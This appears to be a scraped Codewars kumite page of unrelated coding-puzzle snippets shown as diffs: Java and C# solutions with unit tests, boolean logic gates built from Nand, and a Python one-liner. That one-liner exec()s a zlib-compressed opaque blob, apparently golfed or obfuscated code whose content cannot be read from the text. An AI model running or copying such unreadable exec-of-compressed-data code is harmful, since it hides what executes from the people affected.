Kumite (ko͞omiˌtā) is the practice of taking techniques learned from Kata and applying them through the act of freestyle sparring.
You can create a new kumite by providing some initial code and optionally some test cases. From there other warriors can spar with you, by enhancing, refactoring and translating your code. There is no limit to how many warriors you can spar with.
A great use for kumite is to begin an idea for a kata as one. You can collaborate with other code warriors until you have it right, then you can convert it to a kata.
Constants should be in capital.
import zlib L='L1' exec(str(zlib.decompress(bytes("xÚMP=oÂ0ý+¯YXC[u@B,h§v©ÄâØpqìÈw.Eÿ½DåÅzw÷¾~eL×8·ª±Í¾\"ªº_UØ1HÛÒy!³¤äXÕ¬>wM\nj¶Ú¤®ÏÄ`ò Ê9wI-äàyè/>;lr´ØÅÏ+¬;Ãx~yxÜyBðj¼R@|¥V 8rRCmv´[ù2IL¢5½9ß»ë`'zbä~·Àïú@àÊÔÂß e$ßUããT²½&»¼§Lc¦,ø1Ù(ð¼KPìÔ\nERvÐÜõ&¨Ù£t£~C©òNÿZ5QÇklÌäý½uíq÷k¼Ìö@ö/Õ¸ª",encoding=L)),L))
- import zlib
l='L1'exec(str(zlib.decompress(bytes("xÚMP=oÂ0ý+¯YXC[u@B,h§v©ÄâØpqìÈw.Eÿ½DåÅzw÷¾~eL×8·ª±Í¾\"ªº_UØ1HÛÒy!³¤äXÕ¬>wMj¶Ú¤®ÏÄ`ò Ê9wI-äàyè/>;lr´ØÅÏ+¬;Ãx~yxÜyBðj¼R@|¥V 8rRCmv´[ù2IL¢5½9ß»ë`'zbä~·Àïú@àÊÔÂß e$ßUããT²½&»¼§Lc¦,ø1Ù(ð¼KPìÔERvÐÜõ&¨Ù£t£~C©òNÿZ5QÇklÌäý½uíq÷k¼Ìö@ö/Õ¸ª",encoding=l)),l))- L='L1'
- exec(str(zlib.decompress(bytes("xÚMP=oÂ0ý+¯YXC[u@B,h§v©ÄâØpqìÈw.Eÿ½DåÅzw÷¾~eL×8·ª±Í¾\"ªº_UØ1HÛÒy!³¤äXÕ¬>wM
- j¶Ú¤®ÏÄ`ò Ê9wI-äàyè/>;lr´ØÅÏ+¬;Ãx~yxÜyBðj¼R@|¥V 8rRCmv´[ù2IL¢5½9ß»ë`'zbä~·Àïú@àÊÔÂß e$ßUããT²½&»¼§Lc¦,ø1Ù(ð¼KPìÔ
- ERvÐÜõ&¨Ù£t£~C©òNÿZ5QÇklÌäý½uíq÷k¼Ìö@ö/Õ¸ª",encoding=L)),L))
import java.util.Arrays; import java.math.BigInteger; public class MaxNumber { public static BigInteger print(long number) { int[] digits = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; for (char digit : Long.toString(number).toCharArray()) { digits[digit - '0']++; } BigInteger sum = BigInteger.ZERO; int i = 9; while(i >= 0) { if (digits[i] == 0) { i--; } else { digits[i]--; sum = sum.multiply(BigInteger.TEN).add(BigInteger.valueOf(i)); } } return sum; } }
- import java.util.Arrays;
- import java.math.BigInteger;
- public class MaxNumber {
public static long print(long number) {- public static BigInteger print(long number) {
- int[] digits = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
- for (char digit : Long.toString(number).toCharArray()) {
- digits[digit - '0']++;
- }
long sum = 0;- BigInteger sum = BigInteger.ZERO;
- int i = 9;
- while(i >= 0) {
- if (digits[i] == 0) {
- i--;
- } else {
- digits[i]--;
sum = (10 * sum) + i;- sum = sum.multiply(BigInteger.TEN).add(BigInteger.valueOf(i));
- }
- }
- return sum;
- }
- }
import org.junit.Test; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.concurrent.ThreadLocalRandom; import java.util.logging.Logger; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertTrue; import java.math.BigInteger; public class MaxNumberTest { private static final Logger logger = Logger.getLogger(MaxNumberTest.class.getName()); // Adjust as needed public static final double MAX_EXECUTION_TIME_MS = 5; public static final int MAX_WAIT_TIME_LOOP_IN_SEC = 10; public static String concatenateCharacters(List<Character> charList) { StringBuilder sb = new StringBuilder(); for (Character ch : charList) { sb.append(ch); } return sb.toString(); } @Test public void testFour() { assertEquals(BigInteger.valueOf(4), MaxNumber.print(4)); } @Test public void testTwelve() { assertEquals(BigInteger.valueOf(21), MaxNumber.print(12)); } @Test public void testOneHundred() { assertEquals(BigInteger.valueOf(110), MaxNumber.print(101)); } @Test public void testHuge1() { assertEquals(BigInteger.valueOf(754000000000000000L), MaxNumber.print(400000005000007000L)); } @Test public void testHuge2() { assertEquals(BigInteger.valueOf(988777666444322200L), MaxNumber.print(307778062924466824L)); } @Test public void testMaxInt() { assertTrue(MaxNumber.print(Long.MAX_VALUE).compareTo(BigInteger.valueOf(Long.MAX_VALUE)) >= 0); } @Test public void testFunctionTimePerformance() { ThreadLocalRandom random = ThreadLocalRandom.current(); long beforeWarmup = System.currentTimeMillis(); // warmup of CPU cache for (int i = 0; i < 200; i++) { MaxNumber.print(random.nextLong(0, Long.MAX_VALUE / 10)); } long afterWarmup = System.currentTimeMillis(); double warmupTimeSec = (afterWarmup - beforeWarmup) / 1_000D; assertTrue(warmupTimeSec < MAX_WAIT_TIME_LOOP_IN_SEC, "Rough execution time is too high: " + String.format("%.1f", warmupTimeSec * 5) + "ms"); // factor of 5 is due to 1000 (ms/s) / 200 iterations long startTime = System.nanoTime(); int iterations = 10_000; // ------ for (int i = 0; i < iterations; i++) { MaxNumber.print(random.nextLong(0, Long.MAX_VALUE / 10)); } // ------ long endTime = System.nanoTime(); // Calculate the execution time in milliseconds long totalExecutionTimeMs = (endTime - startTime) / 1_000_000; double avgExecTimeMs = totalExecutionTimeMs / (double) iterations; logger.info("Average execution time was: " + String.format("%.3f", avgExecTimeMs) + "ms"); assertTrue(avgExecTimeMs <= MAX_EXECUTION_TIME_MS, "Execution time exceeded the " + MAX_EXECUTION_TIME_MS + "ms limit"); } @Test public void testRandomValues() { char[] almostAllDigits = new char[]{'0','0','1','2','2','3','3','3','4','5','6','7','7','8','8','9','9'}; for (int i = 0; i < 100; i++) { List<Character> allDigitList = new ArrayList<>(); for (char digit : almostAllDigits) { allDigitList.add(digit); } Collections.shuffle(allDigitList); allDigitList.add(0, '1'); // to prevent starting with 0 String shuffledDigits = concatenateCharacters(allDigitList); long randomNumber = Long.parseLong(shuffledDigits); BigInteger actualMaxNumber = MaxNumber.print(randomNumber); BigInteger expectedMaxNumber = BigInteger.valueOf(998877654333221100L); // allMostAllDigits joined with {'1'}, in descending order assertEquals(expectedMaxNumber, actualMaxNumber, "Expected: " + expectedMaxNumber + " from " + randomNumber +", but got: " + actualMaxNumber); } } }
- import org.junit.Test;
- import java.util.ArrayList;
- import java.util.Collections;
- import java.util.List;
- import java.util.concurrent.ThreadLocalRandom;
- import java.util.logging.Logger;
- import static org.junit.jupiter.api.Assertions.assertEquals;
- import static org.junit.jupiter.api.Assertions.assertTrue;
- import java.math.BigInteger;
- public class MaxNumberTest {
- private static final Logger logger = Logger.getLogger(MaxNumberTest.class.getName());
- // Adjust as needed
- public static final double MAX_EXECUTION_TIME_MS = 5;
- public static final int MAX_WAIT_TIME_LOOP_IN_SEC = 10;
- public static String concatenateCharacters(List<Character> charList) {
- StringBuilder sb = new StringBuilder();
- for (Character ch : charList) {
- sb.append(ch);
- }
- return sb.toString();
- }
- @Test
- public void testFour() {
assertEquals(4, MaxNumber.print(4));- assertEquals(BigInteger.valueOf(4), MaxNumber.print(4));
- }
- @Test
- public void testTwelve() {
assertEquals(21, MaxNumber.print(12));- assertEquals(BigInteger.valueOf(21), MaxNumber.print(12));
- }
- @Test
- public void testOneHundred() {
assertEquals(110, MaxNumber.print(101));- assertEquals(BigInteger.valueOf(110), MaxNumber.print(101));
- }
- @Test
- public void testHuge1() {
assertEquals(754000000000000000L, MaxNumber.print(400000005000007000L));- assertEquals(BigInteger.valueOf(754000000000000000L), MaxNumber.print(400000005000007000L));
- }
- @Test
- public void testHuge2() {
assertEquals(988777666444322200L, MaxNumber.print(307778062924466824L));- assertEquals(BigInteger.valueOf(988777666444322200L), MaxNumber.print(307778062924466824L));
- }
- @Test
- public void testMaxInt() {
- assertTrue(MaxNumber.print(Long.MAX_VALUE).compareTo(BigInteger.valueOf(Long.MAX_VALUE)) >= 0);
- }
- @Test
- public void testFunctionTimePerformance() {
- ThreadLocalRandom random = ThreadLocalRandom.current();
- long beforeWarmup = System.currentTimeMillis();
- // warmup of CPU cache
- for (int i = 0; i < 200; i++) {
- MaxNumber.print(random.nextLong(0, Long.MAX_VALUE / 10));
- }
- long afterWarmup = System.currentTimeMillis();
- double warmupTimeSec = (afterWarmup - beforeWarmup) / 1_000D;
- assertTrue(warmupTimeSec < MAX_WAIT_TIME_LOOP_IN_SEC, "Rough execution time is too high: "
- + String.format("%.1f", warmupTimeSec * 5) + "ms"); // factor of 5 is due to 1000 (ms/s) / 200 iterations
- long startTime = System.nanoTime();
- int iterations = 10_000;
- // ------
- for (int i = 0; i < iterations; i++) {
- MaxNumber.print(random.nextLong(0, Long.MAX_VALUE / 10));
- }
- // ------
- long endTime = System.nanoTime();
- // Calculate the execution time in milliseconds
- long totalExecutionTimeMs = (endTime - startTime) / 1_000_000;
- double avgExecTimeMs = totalExecutionTimeMs / (double) iterations;
- logger.info("Average execution time was: " + String.format("%.3f", avgExecTimeMs) + "ms");
- assertTrue(avgExecTimeMs <= MAX_EXECUTION_TIME_MS,
- "Execution time exceeded the " + MAX_EXECUTION_TIME_MS + "ms limit");
- }
- @Test
- public void testRandomValues() {
- char[] almostAllDigits = new char[]{'0','0','1','2','2','3','3','3','4','5','6','7','7','8','8','9','9'};
- for (int i = 0; i < 100; i++) {
- List<Character> allDigitList = new ArrayList<>();
- for (char digit : almostAllDigits) {
- allDigitList.add(digit);
- }
- Collections.shuffle(allDigitList);
- allDigitList.add(0, '1'); // to prevent starting with 0
- String shuffledDigits = concatenateCharacters(allDigitList);
- long randomNumber = Long.parseLong(shuffledDigits);
long actualMaxNumber = MaxNumber.print(randomNumber);- BigInteger actualMaxNumber = MaxNumber.print(randomNumber);
long expectedMaxNumber = 998877654333221100L; // allMostAllDigits joined with {'1'}, in descending order- BigInteger expectedMaxNumber = BigInteger.valueOf(998877654333221100L); // allMostAllDigits joined with {'1'}, in descending order
- assertEquals(expectedMaxNumber, actualMaxNumber, "Expected: " + expectedMaxNumber + " from " + randomNumber +", but got: " + actualMaxNumber);
- }
- }
- }
You don't need code for this.
using System.Collections.Generic; using System.Linq; //using FactorSort = (int PrimeFactor, int Exponent); public static class PrimeFactorization { public static IList<(int PrimeFactor, int Exponent)> Factorize(int number) { List<(int PrimeFactor, int Exponent)> factors = new() { DetermineFrequency(ref number, 2) }; for (int i = 3; i*i <= number; i += 2) factors.Add(DetermineFrequency(ref number, i)); if (number > 1) factors.Add((number, 1)); factors.RemoveAll(f => f.Exponent == 0); return factors; } private static (int PrimeFactor, int Exponent) DetermineFrequency(ref int number, int factor) { var exponent = 0; while (number % factor == 0) { exponent++; number /= factor; } return (factor, exponent); } }
- using System.Collections.Generic;
- using System.Linq;
- //using FactorSort = (int PrimeFactor, int Exponent);
- public static class PrimeFactorization
- {
public static IEnumerable<(int PrimeFactor, int Exponent)> Factorize(int number)- public static IList<(int PrimeFactor, int Exponent)> Factorize(int number)
- {
- List<(int PrimeFactor, int Exponent)> factors = new()
- {
- DetermineFrequency(ref number, 2)
- };
- for (int i = 3; i*i <= number; i += 2)
- factors.Add(DetermineFrequency(ref number, i));
- if (number > 1) factors.Add((number, 1));
- factors.RemoveAll(f => f.Exponent == 0);
- return factors;
- }
- private static (int PrimeFactor, int Exponent) DetermineFrequency(ref int number, int factor)
- {
SortedDictionary<int, int> factors = new(); //[];for (int i = 2; i <= number / 2 + 1; i++)- var exponent = 0;
- while (number % factor == 0)
- {
while (number % i == 0){factors[i] = factors.GetValueOrDefault(i, 0) + 1;number /= i;}- exponent++;
- number /= factor;
- }
if (number > 1) factors[number] = factors.GetValueOrDefault(number, 0) + 1;return from factor in factors select (factor.Key, factor.Value);- return (factor, exponent);
- }
- }
using NUnit.Framework; using System.Collections.Generic; namespace Testing; [TestFixture] public class PrimeFactorizationTest { private List<(int input, List<(int PrimeFactor, int Exponent)> expectedOutput)> _testCases = new() { (84, new() { (2, 2), (3, 1), (7, 1) }), (100, new() { (2, 2), (5, 2) }), (79, new() { (79, 1) }), (13195, new() { (5, 1), (7, 1), (13, 1), (29, 1) }), (30030, new() { (2, 1), (3, 1), (5, 1), (7, 1), (11, 1), (13, 1) }) }; [Test] public void Test() { foreach (var testCase in _testCases) { Assert.That(PrimeFactorization.Factorize(testCase.input), Is.EqualTo(testCase.expectedOutput)); } } }
- using NUnit.Framework;
- using System.Collections.Generic;
- namespace Testing;
- [TestFixture]
- public class PrimeFactorizationTest
- {
- private List<(int input, List<(int PrimeFactor, int Exponent)> expectedOutput)> _testCases = new()
- {
- (84, new() { (2, 2), (3, 1), (7, 1) }),
- (100, new() { (2, 2), (5, 2) }),
- (79, new() { (79, 1) }),
- (13195, new() { (5, 1), (7, 1), (13, 1), (29, 1) }),
- (30030, new() { (2, 1), (3, 1), (5, 1), (7, 1), (11, 1), (13, 1) })
- };
// [// (84, [(2, 2), (3, 1), (7, 1)]),// (100, [(2, 2), (5, 2)]),// (79, [(79, 1)]),// (13195, [(5, 1), (7, 1), (13, 1), (29, 1)]),// (30030, [(2, 1), (3, 1), (5, 1), (7, 1), (11, 1), (13, 1)])// ];- [Test]
- public void Test()
- {
- foreach (var testCase in _testCases)
- {
- Assert.That(PrimeFactorization.Factorize(testCase.input), Is.EqualTo(testCase.expectedOutput));
- }
- }
- }
bool Nand(bool a, bool b) { return 1 - (a * b); } bool Not(bool a) { return Nand(a, a); } bool And(bool a, bool b) { return Not(Nand(a, b)); } bool Nor(bool a, bool b) { return And(Not(a), Not(b)); } bool Or(bool a, bool b) { return Not(Nor(a, b)); } bool Xor(bool a, bool b) { return And(Or(a, b), Not(And(a, b))); } bool Buffer(bool a) { return Not(Not(a)); } bool Xnor(bool a, bool b) { return Not(Xor(a, b)); } bool False(bool a) { return And(a, Not(a)); } bool True(bool a) { return Or(a, Not(a)); }
bool Nand(bool a, bool b){return 1-(a*b);- bool Nand(bool a, bool b) {
- return 1 - (a * b);
- }
bool Not(bool a){return Nand(a, a);- bool Not(bool a) {
- return Nand(a, a);
- }
bool And(bool a, bool b){return Not(Nand(a, b));- bool And(bool a, bool b) {
- return Not(Nand(a, b));
- }
bool Nor(bool a, bool b){return And(Not(a), Not(b));- bool Nor(bool a, bool b) {
- return And(Not(a), Not(b));
- }
bool Or(bool a, bool b){return Not(Nor(a, b));- bool Or(bool a, bool b) {
- return Not(Nor(a, b));
- }
bool Xor(bool a, bool b){return And(Or(a, b), Not(And(a, b)));- bool Xor(bool a, bool b) {
- return And(Or(a, b), Not(And(a, b)));
- }
bool Buffer(bool a){return Not(Not(a));- bool Buffer(bool a) {
- return Not(Not(a));
- }
bool Xnor(bool a, bool b){return Not(Xor(a, b));- bool Xnor(bool a, bool b) {
- return Not(Xor(a, b));
- }
bool False(bool a){return And(a, Not(a));- bool False(bool a) {
- return And(a, Not(a));
- }
bool True(bool a){return Or(a, Not(a));- bool True(bool a) {
- return Or(a, Not(a));
- }